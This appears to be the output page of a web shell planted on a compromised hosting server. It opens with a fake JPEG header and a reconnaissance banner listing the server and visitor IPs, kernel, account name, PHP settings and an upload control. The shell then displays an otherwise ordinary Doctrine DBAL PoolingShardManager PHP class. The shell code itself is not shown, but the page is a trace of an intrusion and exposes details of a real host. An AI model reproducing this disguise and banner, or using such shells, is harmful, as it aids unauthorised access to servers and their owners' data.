����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 216.73.216.178 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/doctrine/dbal/lib/Doctrine/DBAL/Sharding/ |
Upload File : |
<?php namespace Doctrine\DBAL\Sharding; use Doctrine\DBAL\Sharding\ShardChoser\ShardChoser; use RuntimeException; /** * Shard Manager for the Connection Pooling Shard Strategy * * @deprecated */ class PoolingShardManager implements ShardManager { /** @var PoolingShardConnection */ private $conn; /** @var ShardChoser */ private $choser; /** @var string|null */ private $currentDistributionValue; public function __construct(PoolingShardConnection $conn) { $params = $conn->getParams(); $this->conn = $conn; $this->choser = $params['shardChoser']; } /** * {@inheritDoc} */ public function selectGlobal() { $this->conn->connect(0); $this->currentDistributionValue = null; } /** * {@inheritDoc} */ public function selectShard($distributionValue) { $shardId = $this->choser->pickShard($distributionValue, $this->conn); $this->conn->connect($shardId); $this->currentDistributionValue = $distributionValue; } /** * {@inheritDoc} */ public function getCurrentDistributionValue() { return $this->currentDistributionValue; } /** * {@inheritDoc} */ public function getShards() { $params = $this->conn->getParams(); $shards = []; foreach ($params['shards'] as $shard) { $shards[] = ['id' => $shard['id']]; } return $shards; } /** * {@inheritDoc} * * @throws RuntimeException */ public function queryAll($sql, array $params, array $types) { $shards = $this->getShards(); if (! $shards) { throw new RuntimeException('No shards found.'); } $result = []; $oldDistribution = $this->getCurrentDistributionValue(); foreach ($shards as $shard) { $this->conn->connect($shard['id']); foreach ($this->conn->fetchAllAssociative($sql, $params, $types) as $row) { $result[] = $row; } } if ($oldDistribution === null) { $this->selectGlobal(); } else { $this->selectShard($oldDistribution); } return $result; } }